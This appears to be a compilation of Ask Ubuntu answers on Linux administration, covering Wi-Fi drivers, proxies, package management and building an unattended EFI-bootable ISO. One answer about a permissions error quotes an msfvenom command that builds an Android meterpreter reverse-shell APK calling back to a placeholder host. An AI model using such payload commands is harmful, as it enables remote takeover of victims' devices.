Unable to install 10.04 after removing 12.04

Use ubuntu live cd/DVD ,go to live session and then system->Administration->Gparted (partition editor). create->partition table and choose MS-DOS type partition table.Note: it will completely clear the HDD. If not format the partitions to NTFS. Then use Windows XP cd and install. Always install windows first and then Ubuntu.


Before you consider downloading any software take a look in the Software Centre. Most things you should want are already in there and each of these has been tested with Ubuntu. Not only that but because packages can only be placed in the official Ubuntu repositories by trusted members of the community you can be sure its not Malware, something you can't say about downloading for Windows.

If you still can't find what you are looking for it may be available in a third party repository which again has the advantage of being easy to install but since you are not getting your software from an Official Ubuntu source now you have to decide if you trust the publisher as you could be installing Malware.

If you still cant find what you are looking for it may be available as Debian package '*.deb' file. Note however the way Linux works a lot of programs depend on other programs and using the software centre, or repositories takes care of this for you. Once you start using Debian packages directly you need to take of this your self so I wouldn't recommend this to a new user.

Finally it is possible software from the source code but since you are asking such a basic question you are not ready to install from source yet.

Ubuntu is derived from Debian Linux it is not Android or iOS


Moved a folder to /dev. Folder has disappeared after rebooting

/dev is a virtual file system that doesn't exist on your hard disk but only in RAM.

It's created at every system startup and all changes and copied files there are lost when you shut down your system.


Is it safe to stop dd after 30 mins, to add bs= to speed things up?

You will have to reastart the copy operation. There is no way to "resume" dd with different parameters.


How to install Wi-Fi driver for Realtek RTL8821CE on Ubuntu 18.04?

(This question is a duplicate of Wi-Fi not working on Lenovo ThinkPad E570 (Realtek RTL8821CE) but I was pleased that we eventually found a solution so will write up what worked for Haz.)
As far as I can tell, at the time of writing this, there is not yet a Wifi Driver for the Realtek RTL8821CE in the official Ubuntu Repositories.
Over on github there is a repository with an RTL8821CE driver aimed at kernels 4.14 and above and specifically for Arch Linux with no support provided for other Linux Distros: https://github.com/tomaspinho/rtl8821ce
(Minor note: as of February 2019 tomaspinho is sadly no longer able to maintain the driver as he no longer has access to a computer with this chipset, and so a new maintainer may be needed, but the driver still works with Ubuntu 18.04 as at that time.)
It has, however, been reported to work just fine with Ubuntu 18.04.
The solution is taken directly from post #4 by Praseodym: https://ubuntuforums.org/showthread.php?t=2398917 and will install a number of packages for building the wifi driver module (git, dkms, build-essential & linux-headers) and clone the git repository from tomaspinho.
DKMS is used because it's "a system which will automatically recompile and install a kernel module when a new kernel gets installed or updated."

Open up a terminal and type the following lines (You can cut and paste if you prefer):
sudo apt-get install --reinstall git dkms build-essential linux-headers-$(uname -r)
git clone https://github.com/tomaspinho/rtl8821ce
cd rtl8821ce
chmod +x dkms-install.sh
chmod +x dkms-remove.sh
sudo ./dkms-install.sh

After this is completed successfully, you should reboot and find that your Wifi is working.
You also want to make sure SecureBoot is Disabled in the BIOS settings or it won't let you load the unsigned self-complied kernel module.
OR
Sign the 8821ce.ko file yourself as per command given here
kmodsign sha512 \
    /var/lib/shim-signed/mok/MOK.priv \
    /var/lib/shim-signed/mok/MOK.der \
    /usr/lib/modules/$(uname -r)/kernel/drivers/net/wireless/8821ce.ko


Disable proxy server for one apt repository

Just declare in a /etc/apt/apt.conf.d/99proxy file something like this :

Acquire::http::Proxy {
    your.local.first.repository DIRECT;
    your.second.first.repository DIRECT;
};

DIRECT tells apt to use a direct connection to connect to the repository.


Firefox on ubuntu does not restore tabs from last time

I got the same problem since I updated FF to ver 35. I'm using Elementary OS.

I got it working by making "refresh firefox": https://support.mozilla.org/en-US/kb/refresh-firefox-reset-add-ons-and-settings

Aftert that, tried and it was working. Logged in to sync and after all addons were syncronized it keeps working Ok. I have done several shutdown to firefox and all tabs restored when I open FF.


Ok, I'm going to answer my own post, as seems to be the tradition on here. I really don't understand this forum. I've used MANY forums in my life and I'm never used another forum where everyone just sends comments and no one actually answers the question by replying to the post... anyway... putting that weirdness to one side...
For anyone having this same difficulty I've worked out how to get Ubuntu (regardless of which version is used, which is, as I said, UNIMPORTANT) to boot over USB 2.0. The answer is at install time, do not format the disk you plan to install Ubuntu on as ext4! Instead, format as ext3! Works perfectly on USB 2.0 now. Ext4 works fine for USB 3.0. I have no idea why this is the case, I just know that it works.
Thanks me!


Replace default governor with performance in the following files:

/etc/init.d/cpufrequtils

/etc/default/cpufrequtils

Disable ondemand service

sudo update-rc.d ondemand disable

then run

update-initramfs -u -k all

then reboot

More info: How I can disable CPU frequency scaling and set the system to performance?

https://wiki.debian.org/HowTo/CpuFrequencyScaling

https://wiki.archlinux.org/index.php/CPU_frequency_scaling


How to bridge mobile broadband and wifi networks?

This is how I worked it out...

Create a new wireless network (aka hotspot) using the network manager.
Enable IP forwarding by executing the command below:

echo 1| sudo tee /proc/sys/net/ipv4/ip_forward

Identify the device which connects your computer to Internet, by using ifconfig command. (My one is ppp0, because it has an IP address.)
Finally tell iptables to forward ppp0's internet traffic to everywhere!

sudo iptables -t nat -A POSTROUTING -s 10.10.0.0/16 -o ppp0 -j MASQUERADE

Disconnect & reconnect the Wifi connection(Hotpsot) you made earlier.
Internet should be flowing to the wireless network now!
If you did it correctly, the output of sudo iptables -L should be similar to this:

Chain FORWARD (policy ACCEPT)
target.....prot opt.....source....................destination
ACCEPT.....all  ---........  anywhere.............10.42.43.0/24.........state RELATED,ESTABLISHED
ACCEPT.....all  ---........ 10.42.43.0/24......anywhere

An external guide is available here.
Thanks to web-E...!


Why do I get 'error while loading shared libraries: libGL.so.1: wrong ELF class: ELFCLASS64' when I run Mercury?

Looks like your application is a 32 bits application but is trying to load a 64bits library.
On a 64bits installation, you can have both version (32 bits and 64 bits) of any libraries installed. 32bits can be found under /usr/lib32 and 64bits under /usr/lib64.

On Linux, libraries are search using a path sequence, a little bit like the PATH variable list all the directories to look for the executable you want to run when no path is given.
This sequence to search for libraries is defined in a variable called LD_LIBRARY_PATH.

The problem is that the directory for the 64bits versions comes before the directory with the 32bits versions. And usually the name of the library is identical for the 32bits and 64bits version.

You can overcome this problem by creating a small startup script for your application like this one :

#!/bin/bash

export LD_LIBRARY_PATH=/usr/lib32:/usr/lib64:$LD_LIBRARY_PATH

<your binary> $*

If there is already a script to start this application, you can just add the line

export LD_LIBRARY_PATH=/usr/lib32:/usr/lib64:$LD_LIBRARY_PATH

to it, near the top.

I'll prefer the first method, creating a specific script, as any startup script provided by the package will be probably overwritten in case of update.


What's the time unit in /proc/lock_stat output

Buried in the documentation is the following line:

  The integer part of the time values is in us.

So those values are in microseconds.


how to make britness control work on ubuntu 14.04 with nVidia graphic card?

WAW it was simple ,I downloaded the official Nvidia driver from Nvidia Drivers Download
then I give it executable permission

then I closed the X-server using Ctrl+Alt+F1

in that command line I typed

./nvidia-linux-XXX.run

I followed the installer until it's done ,after reboot my Brightness was working just fine.


ZFS pool broken after upgrading to 14.04 LTS

The problem is that after the upgrade zfs thinks that this is a different server. You should be able to fix it by simply exporting and then importing the pool.

sudo zpool export naspool1
sudo zpool import naspool1

Most likely the import will complain that the "pool may be in use by another system, use -f to import it anyway". Use -f to do the import:

sudo zpool import naspool1 -f


Fast switch between three keyboard layouts - from Unity DE to Gnome Shell

The solution for Gnome Shell.

Add custom hotkey with command.

To switch to the first layout:

gdbus call --session --dest org.gnome.Shell --object-path /org/gnome/Shell --method org.gnome.Shell.Eval "imports.ui.status.keyboard.getInputSourceManager().inputSources[0].activate()"

inputSources[0] - index of layout.

> inputSources[0] - first,

> inputSources[1] - second.

etc.


Looking for instructions to modify Debian Installer

Documentation on preseeding from ubuntu.com. The example preseed on what this documentation refers to can be found here. The example covers all the options you can skip and has bits on how to do partitioning.
Regarding:

So I would like to know, how to remove the questions from the installation, whilst still being able to allow the partitioning.

You can but need to select either the whole disk or unallocated space on a disk but inside that you can set up partitions. See B.4.7. Partitioning

Using preseeding to partition the harddisk is limited to what is supported by partman-auto. You can choose to partition either existing free space on a disk or a whole disk. The layout of the disk can be determined by using a predefined recipe, a custom recipe from a recipe file or a recipe included in the preconfiguration file.
Preseeding of advanced partition setups using RAID, LVM and encryption is supported, but not with the full flexibility possible when partitioning during a non-preseeded install.

Example preseed file using LVM: Automated LVM partitioning with Ubuntu preseed.
Also see: How do I preseed multiple partitions on one disk; /tmp /data /usr swap? for a partitioning method.


According to the INSTALL file located in the package top level

  To compile Flexlay you need a recent ClanLib 0.7, quite often the
  latest not-yet-released development version from the subversion tree,
  available at:

  http://www.clanlib.org

It lists the following additional reqirements

  And you need scons (a make replacement) available at:

  http://www.scons.org

  In addition to that Ruby, available at:

  http://www.ruby-lang.org

  And for the games you need a recent copy of them, most often latest
  development version of them is required.


Is Ubuntu 18.04 LTS support Nvidia Graphics Driver 390.48?

You definitely can upgrade to a newer NVIDIA version on Ubuntu 18.04.

To do this, you would add the graphics driver PPA with the following commands in terminal:

sudo add-apt-repository ppa:graphics-drivers/ppa

sudo apt-get update

After this, you should now remove any current NVIDIA drivers by entering the following into your terminal:

sudo apt-get purge nvidia*

Now that you have done this, it is safe to install the latest version:

sudo apt-get install nvidia-driver-396

Please note that it is nvidia-driver-396 on Ubuntu 18.04, it is nvidia-396 on Ubuntu 16.04 but you are not using 16.04.


How do I install a plugin in Audacity installed via snap?

Your other question shows that you are using Ubuntu 18.10.

It has Audacity version 2.2.2 in the universe repository - so you can remove snap-based version by

snap remove audacity

and install deb-packaged with

sudo apt-get install audacity

and it will not have problems with plugins.

If you need newer version - use some PPA, for example ppa:ubuntuhandbook1/audacity:

sudo add-apt-repository ppa:ubuntuhandbook1/audacity
sudo apt-get install audacity

as it provides version 2.3.1.


Short answer:

umount /home/bobuser/ftp/files
rm -r /home/bobuser/ftp/files

If you take a look at the FD section of lsof man page, you will find out that cwd means current working directory.

The other thing you mentioned is different PIDs for 2nd and 3rd lines. Those are the PIDs of lsof command, so every time you run lsof, it will run with a new PID and then it will be closed.

After changing your directory to /root, we can see that there is no open file under /home/uerbob/ftp/files directory, so my first guess is that some partition is mounted there.

You should run below command to see if any partitions are mounted there:

mount | grep -i bobuser/ftp

If yes, you will get an output like this:

/dev/vda1 on /home/bobuser/ftp/files type ext4 (rw,relatime,data=ordered)

Then simply unmount the partition and remove the directory.


Globally associate file type with certain application

Solved my issue myself.

File /etc/gnome/defaults.list are overriden by ~/.local/share/applications/mimeapps.list, so all file association goes in to mimeapps.list file:

[Default Applications]
image/vnd.adobe.photoshop=wine-extension-8bs.desktop

In this example i've set to open .psd in a Photoshop through Wine. If i go in to /etc/gnome/defaults.list and add:

image/vnd.adobe.photoshop=gimp.desktop

It won't open .psd in a gimp, because it got overriden by mimeapps.list. Spent few hours to figure that out lol.


Dell 1250c drivers loaded in 14.04LST but won't print

I have Kubuntu 14.04LTS on an Acer Asire V5-561G (64-bit). In order to get my Dell 1250c to work with the Xerox drivers from the .deb-package, I aditionaly had to install the following packages:

lib32stdc++6 lib32z1 lib32ncurses5 lib32bz2-1.0

(I installed them all at once; I'm new on Linux and didn't want to bother about which package does what, I just found on the following site that this might work for the Epson Aculaser c1700, which apparently needs the same drivers as the Dell, and thought I'd try (I just realized this is in German, but maybe it will still help somehow or someone)):
http://forum.ubuntuusers.de/topic/32-bit-drucker-treiber/#post-6146487

I now use the driver for the Phasor 6010N, and it works.

I hope this will work for you too!


Permission denied when using bundler commands

If you run

msfvenom -p android/meterpreter/reverse_tcp LHOST=ip R > filename.apk

from a location you do not own creating the file filename.apk will result in a Permission denied. That is a well know security measure in Linux. In that case you need "sudo" in front of the command.

  Also to even run this command without getting piles of errors or to run the metasploit console I have to be in /opt/metasploit-framework/

Means you probably own that directory and anything in it or parameters that are expected can be found from /opt/metasploit-framework/ and not from another directory (that will ne related to the PATH variable or setting the environment variables). Impossible to further answer unless you edit the messages into your question.


Sending mails with PHP, LAMPP and PostFix

In your php.ini, this:

sendmail_path = /etc/postfix

Should be the path to the sendmail (or compatible) binary.
You've set it to the configuration directory of postfix which isn't right.

For historical reasons, usually /usr/bin/sendmail is maintained as a compatibility link.
sendmail was around first (I guess) and pretty much everything just assumes it is in the installed MTA. So when it isn't, the replacement makes a symlink so that nothing breaks.


Try watching the configuration with:

watch ifconfig

in one terminal and in another:

tail -f /var/log/syslog |grep -i Network

and observe those outputs while you try to connect to your wifi network


Connection refused if port is not forwarded

By default jupyter only binds to the localhost interface, so it can be used only from the local machine by connecting to 127.0.0.1. If you want to make it available on your network, you have to tell it to listen to the external IP address of your machine, or simply to all IP addresses available:

jupyter notebook --ip='*' --no-browser

This way you do not need to create a port fowarding to access your jupyter notebook.

However, keep in mind that using an ssh tunnel probably provides better security than letting jupyter listen on your network. In addition, the connection through the ssh tunnel would be encrypted, while the direct connection to jupyter most likely would not. It pretty much depends on how much you trust your network. If it is not 100% trustable consider using the ssh tunnel solution.


General tips:

Install jupiter. More info: Does Jupiter really improve battery power? To me this is a great battery saver since when changing from AC to battery it actually tells the kernel to set parameters to power saving. The deb installer can be found here: http://sourceforge.net/projects/jupiter/files/
Try another desktop like Cinnamon . You can install this next to the normal Unity 3D. Unity and Compiz seem to be a bit power hungry.
Install powertop and see what is causing wake up calls. The less you have the better

sudo apt-get install powertop
sudo powertop

This AU topic: How to analysis the output of powertop to increase battery lifetime got me this link to a powertop benchmark topic. Conclusion: "For best power consumption, we should have some pm-utils power.d scripts to put the following device controllers into a low power state: webcam, audio, DRAM, ethernet, wifi, bluetooth, SATA link, and your card slot (MMC/SD)"

Important  If you want to test for wakeups, you need to close EVERYTHING except the base desktop (clean boot recommended), open a terminal, unplug, and start powertop as root. Wait 10, 15 minutes and check the result.
Check for programs that you never use. If you never use bluetooth disable it from starting (boot up manager).
Check the lesswatts.org website for general pointers. Though some of these seem to be already active in 12.10. For instance: VM writeback is set to 60.000 (weird thing: powertop claims it is bad).
Check power management for less aggressive options. Dim the display. Spin down the hard drive when possible.
... and of course check websites like Ask Ubuntu, Phoronix or OMG! Ubuntu! for tips.


Ctrl-S doesn't work as "save" anywhere in Ubuntu

I seems that on my Lenovo Thinkpad E540 the problem was the BIOS switching of Ctrl and Fn key.. It's still isnt clear to me why the other shortcuts with the fake Ctrl worked tho..

Thank you all!


10.10 boots to command line login prompt

How about purging gdm and reinstalling it so it rewrites the init scripts?


Creating block devices for openstack deployment using MAAS and juju (nova-volume deployment)

You can set the block device to be a file location.
If you look at the nova-volume charm readme here:
http://jujucharms.com/charms/precise/nova-volume

You can see that you can set the block device to /path/to/file[|size]

So, you can configure your openstack.cfg file with something like:

nova-volume:
    # This must be a free block device that is writable on the nova-volume host.
    block-device: "/var/lib/nova-volume/volume-1.img|100G"
    overwrite: "true"

This avoids the necessity to have a separate hardware device, but of course, is not ideal for a high performance production environment.


What's the difference between cat /etc/group and cat /etc/group-

It is just a backup file that groupadd and similar programs use to store the previous state of the group file.


How to get Ubuntu Server to act as a Gateway

Static IP configuration should be put in /etc/network/interfaces. It is a text file, and the documentation for its format can be read by man 5 interfaces. By the looks of it, you probably need to put in there something simple like this:

iface eth0 inet static
    address 10.1.2.3
    netmask 255.0.0.0

Once done, submit sudo service networking restart to make use of the new settings.

For handing out replies to DHCP requests, you need a DHCP server, provided for example by isc-dhcp-server, udhcpd, dnsmasq and possibly other packages. I have used dnsmasq with success, and it appears to work satisfactorily even if uplink connection to internet (and real DNS servers) doesn't exist. See a how-to on the subject, it is rather straight-forward to set up.


How to uninstall non dependency packages?

The short answer is: use aptitude like in the following:

aptitude -F%p search '?installed?not(?automatic)

But unfortunately this command returns many packages that match the query but are not what you expect, for two reasons:

there are packages installed during initial installation of the system that result as non automatically installed
packages installed as dependencies of a metapackage also can result as non automatically installed

The solution I came to some time ago is a match between the preceding command and the dpkg logs, that at least try to remove the influence of the point 1. in the preceding problems' list:

#!/bin/bash

export LC_COLLATE=C

eval $(lesspipe)

vars=($(less $(ls -rt /var/log/dpkg.log*) | grep 'status installed grub-pc' | head -1))
date="${vars[0]}"
time="${vars[1]}"

join \
  <(aptitude -F%p search '?installed?not(?automatic)' |
    sort) \
  <(less $(ls -rt /var/log/dpkg.log*) |
    awk -v date=$date -v time=$time '(($1 == date && $2 > time) || $1 > date) && $3 == "install" { print $4, $1, $2 }' |
    sort -u) |
  awk '{ print $2, $3, $1 }' |
  sort

This assume that grub-pc is the last package installed during initial installation, and is in no way perfect, but can give you a rough information to start from.


Trying to setup a 4096x2160 modline on a LG 31MU97 monitor

I just wanted to drop a line, and say that in Arch Linux on the new 4-7.1 kernel the 4096x2160 59Hz is showing up by default in the Display manager. It is working great so far. I spent a great  of time deal trying to get this monitor to work in the native resolution of 4096x2160, even with the xrandr settings being set manually it was not working. Someone should try Ubuntu with the upstream Kernel and see if it corrects the problem in Ubuntu also.


As I also have a HP laptop right now, I decided to dedicate myself to solve this problem. I made tests in Lubuntu, Gnome Classic, Gnome in Wayland and Lubuntu. Tests was made with dconf-editor,  System Properties > Mouse & Launchpad and line-command xinput.

These commands must not but executed with sudo, because they must reflect to user settings. Using sudo will not have any effect to changes.

Lubuntu

In Lubuntu we don't have Natural Scrolling prop listed by xinput. At other hand, we have two-finger scrolling, this is able to change touchpad behavior.

xinput list to recognize which id is relactive to SynPS/2 Synaptics TouchPad; In my case the ID is 11.
xinput list-props 11. It gaves me Synaptics Two-Finger Scrolling (303)

So I set:

xinput set-prop 11 303 1 1 to enable;
xinput set-prop 11 303 0 0 to disable.

Gnome in Wayland

Commands related by deshmukn worked as expected. In this interface, they worked;

Gnome Classic

Different than Lubuntu, there is Natural Scrolling in xinput list-prop, but it has no effect to device, no regarding set you choose in dconf-editor of System settings.

To enable/disable Natural Scrolling, you must do a combination of two features: Scroll-method and two-finger-scrolling.

To enable it:

switch scroll-method to two-finger-scrolling;
switch two-finger-scrolling-enable to true;

To disable it:

switch scroll-method to disabled;
switch two-finger-scrolling-enable to false;


14.04: Keyboard and Mouse Not Working in Login Screen

I noticed that USB mouse/keyword worked in the recovery mode every time.  The problem is that I end up with crappy graphics mode in recovery so I basically just force the normal boot to go through recovery by adding "recovery" to the GRUB_CMDLINE_LINUX in /etc/default/grub.  My line looks like the following:

GRUB_CMDLINE_LINUX="recovery acpi=force irqpoll usbcore.autosuspend=-1"

along with all the options that I have tried and failed.  I also tried the following (from another askubuntu question), which worked for some time:

 sudo powernap-action --disable usb_autosuspend

However, I think "recovery" is the only thing you need.  You had to press enter a couple of times to continue booting if you go this route, but at least USB works on boot and you have good screen resolution.

PS. I had this problem with Ubuntu 14.04, and after switching to Mint 17, had the same issue.  I tried various options, some worked for a while and then stopped working, but I eventually ended up with this really frustrating problem reboot after reboot.  I don't believe this is a hardware issue, or I don't believe this is a hardware issue that Ubuntu cannot work around.  My dual-boot Win7 had no such problems whatsoever.  I was pulling my hair out and seriously thought about abandoning Ubuntu based distros.


How to upgrade Ubuntu 16.04.2 to 16.04.3

You only need to update the system, no needed to upgrade
Recommended to upgrade to newest stable version
this may help you to upgrade: How To Upgrade Ubuntu

to check the start and end of support for each version Ubuntu release end of life


Unable to fetch CPU/GPU fans data in Ubuntu

After running sudo sensors-detect you should have output something like:
To load everything that is needed, add this to /etc/modules:
#----cut here----
#chip drivers
coretemp
nct6775
#----cut here----

take the info from the output and enter in terminal
sudo modprobe nct6775 coretemp

replacing nct6775 & coretemp with your module names from the output of sensors-detect (Although I suspect you will have the same values).
lm-sensors trick and tips


How do I install Linux on a Mac Mini without Intel

Try to install Ubuntu MATE for PowerPC, you can download it here.


Basically, you're asking if there's a way to recover a bash session you disconnected from (because you've ssh'd in again, you're now in a different session).

This post has the general version of your question. The verdict seems to be that you can't recover control of the full bash session.

However, if you just need to see debugging output, it might be enough to just view stdout from the Flask process. This post has some discussion of viewing stdout on a running process (disclaimer: haven't tried it myself)


I am been trying to use vim and nano command to create file in docker, but i keep getting this

The Ubuntu docker image does not have vim installed by default. After running a container for the Ubuntu docker image, you can install vim:

docker run -it ubuntu /bin/bash
apt update
apt install vim

Note that sudo is not required since you are root by default in the docker container.


After an update and few freezes, ubuntu can't restart properly

My ubuntu18.04 came into the same problem. After contacting to Dell tech support, I ensured that this had nothing to do with the hardware. It is about BIOS upgrading, which should has been 'updated natively in the OS' (like clicking 'update' from UI).

As I still has no idea why it cannot be natively updated, I solved it by Flash BIOS upgrade. I followed the step2 and step3 at Updating the Dell BIOS in Linux and Ubuntu Environments. The flash USB has no need to be formatted or cleared. I hope this will help you.


System-wide proxies in CLI Ubuntu/Server must be set as environment variables.

Open the /etc/environment file with vi (or your favorite editor). This file stores the system-wide variables initialized upon boot.
Add the following lines, modifying appropriately. You must duplicate in both upper-case and lower-case because (unfortunately) some programs only look for one or the other:

http_proxy="http://myproxy.server.com:8080/"
https_proxy="http://myproxy.server.com:8080/"
ftp_proxy="http://myproxy.server.com:8080/"
no_proxy="localhost,127.0.0.1,localaddress,.localdomain.com"
HTTP_PROXY="http://myproxy.server.com:8080/"
HTTPS_PROXY="http://myproxy.server.com:8080/"
FTP_PROXY="http://myproxy.server.com:8080/"
NO_PROXY="localhost,127.0.0.1,localaddress,.localdomain.com"

apt-get, aptitude, etc. will not obey the environment variables when used normally with sudo. So separately configure them; create a file called 95proxies in /etc/apt/apt.conf.d/, and include the following:

Acquire::http::proxy "http://myproxy.server.com:8080/";
Acquire::ftp::proxy "ftp://myproxy.server.com:8080/";
Acquire::https::proxy "https://myproxy.server.com:8080/";

Finally, logout and reboot to make sure the changes take effect.

Sources: 1, 2. See 1 in particular for additional help, including a script to quickly turn on/off the proxies.


Where is the code used to build the official Live CD images?

Apparently it's a project called ubuntu-cdimage.  It does not appear to be available as a package from the official APT repository.

  The Ubuntu CD image software is used to produce daily builds
  and releases of Ubuntu and its derivatives. At present it
  consists of a significantly-modified version of debian-cd and
  some fairly extensive wrapper scripts.

The blog post I linked on your other question linked to a ReleaseTeam page on the wiki (CDImageSetup) that mentioned the ubuntu-cdimage suite.  The suite looks geared toward large-scale production (daily ISO builds, testing, etc) rather than individual builds like the live-build and ubuntu-defaults-builder packages.


Does booting Ubuntu in Samsung laptop brick them? How do I know without taking risk of my laptops

That article is talking about Windows 8 laptops, which neither of your laptops are.

Also, neither of your laptops are listed among the models containing the bug.

From the article, I don't see any reason to assume the bug would affect your laptops.


How do I create an EFI-bootable ISO of a customized version of Ubuntu?

You need to make a dual boot catalog ISO so that it will boot EFI and MBR. The standard Ubuntu 14.04 x64 ISO file works this way but there are no instructions available to make a new 14.04 bootable ISO for EFI systems. I was able to piece together the right steps to create an ISO like this.

These instructions will let you create a custom Ubuntu 14.04 Server ISO that can boot EFI and MBR. When EFI booting on a system with a blank, uninitialized disk (for example on a new Generation 2 VM in Hyper-V), setup will start automatically, then automatically wipe the disk and install the base ubuntu-server packages and OpenSSH. This is designed for automatically provisioning new systems with Ubuntu 14.04 using LVM and auto-partitioning. If you use this ISO on an existing Linux system then the installer will stop when it detects existing disks and wait for input. If you use this ISO on a non-EFI system (for example a Generation 1 Hyper-V VM) then it will wait at the graphical installer startup screen and require input before continuing to the auto installer.

The result is a base Ubuntu Server installation with ubuntu-server and openssh-server only.

Here are the steps to create an EFI-bootable ISO:

Get the 14.04 ISO:

wget http://releases.ubuntu.com/14.04/ubuntu-14.04-server-amd64.iso

Mount it and extract its contents to a new folder:

sudo mkdir -p ~/iso
sudo mount -o loop ubuntu-14.04-server-amd64.iso.iso ~/iso
sudo mkdir ~/ubuntu
sudo cp -rT ~/iso ~/ubuntu

Change into the directory where we will be doing our work:

cd ~/ubuntu

Set the language to English:

sudo -i
echo en >/home/user/ubuntu/isolinux/lang
exit

Create a preseed file that will use LVM to auto-partition the disk using all available space:

sudo nano ~/ubuntu/ks.preseed

Replace the file contents with this:

d-i partman-auto/method string lvm
d-i partman-auto-lvm/guided_size string max
d-i partman-auto/choose_recipe select atomic
d-i partman-partitioning/confirm_write_new_label boolean true
d-i partman/confirm_write_new_label     boolean true
d-i partman/choose_partition            select  finish
d-i partman/confirm_nooverwrite         boolean true
d-i partman/confirm                     boolean true
d-i partman-auto/purge_lvm_from_device  boolean true
d-i partman-lvm/device_remove_lvm       boolean true
d-i partman-lvm/confirm                 boolean true
d-i partman-lvm/confirm_nooverwrite     boolean true
d-i partman-auto/init_automatically_partition       select      Guided - use entire disk and set up LVM
d-i partman/choose_partition                select      Finish partitioning and write changes to disk
d-i partman-auto-lvm/no_boot            boolean true
d-i partman-md/device_remove_md         boolean true
d-i partman-md/confirm                  boolean true
d-i partman-md/confirm_nooverwrite      boolean true

Create a kickstart file that will configure Ubuntu during the installation: (make sure you change the username part, and you should use encrypted passwords)

sudo nano ~/ubuntu/ks.cfg

Replace the file contents with this:

lang en_US
langsupport en_US
keyboard us
mouse
timezone America/Los_Angeles
rootpw --disabled
user USERNAME --fullname "USERNAME" --password "PASSWORD"
reboot
text
install
cdrom
auth  --useshadow  --enablemd5
network --bootproto=dhcp --device=eth0
firewall --disabled
skipx
%packages
@ ubuntu-server
openssh-server

Edit the grub configuration file so when the ISO performs an EFI boot the bootloader uses the right options to use our preseed and configuration files:

sudo nano ~/ubuntu/boot/grub/grub.cfg

Replace the file contents with this:

if loadfont /boot/grub/font.pf2 ; then
    set gfxmode=auto
    insmod efi_gop
    insmod efi_uga
    insmod gfxterm
    terminal_output gfxterm
fi

set menu_color_normal=white/light-blue
set menu_color_highlight=light-blue/light-gray
set timeout=10
set default=0

menuentry "Automatically Install Ubuntu Server with Custom Config" {
    set gfxpayload=keep
    linux   /install/vmlinuz  file=/cdrom/preseed/ubuntu-server.seed quiet ks=cdrom:/ks.cfg preseed/file=/cdrom/ks.preseed --
    initrd  /install/initrd.gz
}
menuentry "OEM install (for manufacturers)" {
    set gfxpayload=keep
    linux   /install/vmlinuz  file=/cdrom/preseed/ubuntu-server.seed quiet oem-config/enable=true --
    initrd  /install/initrd.gz
}
menuentry "Multiple server install with MAAS" {
    set gfxpayload=keep
    linux   /install/vmlinuz  modules=maas-enlist-udeb vga=788 initrd=/install/initrd.gz quiet --
    initrd  /install/initrd.gz
}
menuentry "Check disc for defects" {
    set gfxpayload=keep
    linux   /install/vmlinuz  MENU=/bin/cdrom-checker-menu quiet --
    initrd  /install/initrd.gz
}
menuentry "Rescue a broken system" {
    set gfxpayload=keep
    linux   /install/vmlinuz  rescue/enable=true --
    initrd  /install/initrd.gz
}

Edit the isolinux boot menu for non-EFI booting (MBR booting) to use the custom config and custom preseed:

sudo nano ~/ubuntu/isolinux/txt.cfg

Replace the file contents with this:

default install
label install
  menu label ^Install Ubuntu Server with Custom Config
  kernel /install/vmlinuz
  append file=/cdrom/preseed/ubuntu-server.seed initrd=/install/initrd.gz ks=cdrom:/ks.cfg preseed/file=/cdrom/ks.preseed --
label cloud
  menu label ^Multiple server install with MAAS
  kernel /install/vmlinuz
  append   modules=maas-enlist-udeb vga=788 initrd=/install/initrd.gz quiet --
label check
  menu label ^Check disc for defects
  kernel /install/vmlinuz
  append   MENU=/bin/cdrom-checker-menu vga=788 initrd=/install/initrd.gz quiet --
label memtest
  menu label Test ^memory
  kernel /install/mt86plus
label hd
  menu label ^Boot from first hard disk
  localboot 0x80

Create the ISO:

This command is a modified version of the command shown at http://petersmithphotog.no-ip.biz/wiki/index.php/Unattended_Install. Those instructions do not work for Ubuntu 14.04 because they point to the wrong locations for the file efi.img. (should be in ./boot/grub/ on the ISO)

sudo mkisofs -U -A "Custom1404" -V "Custom1404" -volset "Custom1404" -J -joliet-long -r -v -T -o ../Custom1404.iso -b isolinux/isolinux.bin -c isolinux/boot.cat -no-emul-boot -boot-load-size 4 -boot-info-table -eltorito-alt-boot -e boot/grub/efi.img -no-emul-boot .

Verify the ISO has the correct style boot catalogs:

The original ISO you downloaded from Ubuntu:

dumpet -i ~/ubuntu-14.04-server-amd64.iso

Output:

Validation Entry:
    Header Indicator: 0x01 (Validation Entry)
    PlatformId: 0x00 (80x86)
    ID: ""
    Checksum: 0x55aa
    Key bytes: 0x55aa
Boot Catalog Default Entry:
    Entry is bootable
    Boot Media emulation type: no emulation
    Media load segment: 0x0 (0000:7c00)
    System type: 0 (0x00)
    Load Sectors: 4 (0x0004)
    Load LBA: 8446 (0x000020fe)
Section Header Entry:
    Header Indicator: 0x91 (Final Section Header Entry)
    PlatformId: 0xef (EFI)
    Section Entries: 1
    ID: ""
Boot Catalog Section Entry:
    Entry is bootable
    Boot Media emulation type: no emulation
    Media load address: 0 (0x0000)
    System type: 0 (0x00)
    Load Sectors: 4672 (0x1240)
    Load LBA: 24754 (0x000060b2)

The new ISO you created:

dumpet -i ~/Custom1404.iso

Output:

Validation Entry:
    Header Indicator: 0x01 (Validation Entry)
    PlatformId: 0x00 (80x86)
    ID: ""
    Checksum: 0x55aa
    Key bytes: 0x55aa
Boot Catalog Default Entry:
    Entry is bootable
    Boot Media emulation type: no emulation
    Media load segment: 0x0 (0000:7c00)
    System type: 0 (0x00)
    Load Sectors: 4 (0x0004)
    Load LBA: 3100 (0x00000c1c)
Section Header Entry:
    Header Indicator: 0x91 (Final Section Header Entry)
    PlatformId: 0xef (EFI)
    Section Entries: 1
    ID: ""
Boot Catalog Section Entry:
    Entry is bootable
    Boot Media emulation type: no emulation
    Media load address: 0 (0x0000)
    System type: 0 (0x00)
    Load Sectors: 4672 (0x1240)
    Load LBA: 1932 (0x0000078c)

You can compare this output to the output you get from an ISO constructed using the instructions at How do I create a completely unattended install of Ubuntu?: (they create an MBR only ISO, not an dual boot catalog ISO)

sudo mkisofs -D -r -V "non-efi-ubuntu" -cache-inodes -J -l -b isolinux/isolinux.bin -c isolinux/boot.cat -no-emul-boot -boot-load-size 4 -boot-info-table -o ../non-efi-ubuntu.iso .

Get ISO info:

dumpet -i ~/non-efi-ubuntu.iso

Output:

Validation Entry:
    Header Indicator: 0x01 (Validation Entry)
    PlatformId: 0x00 (80x86)
    ID: ""
    Checksum: 0x55aa
    Key bytes: 0x55aa
Boot Catalog Default Entry:
    Entry is bootable
    Boot Media emulation type: no emulation
    Media load segment: 0x0 (0000:7c00)
    System type: 0 (0x00)
    Load Sectors: 4 (0x0004)
    Load LBA: 1925 (0x00000785)


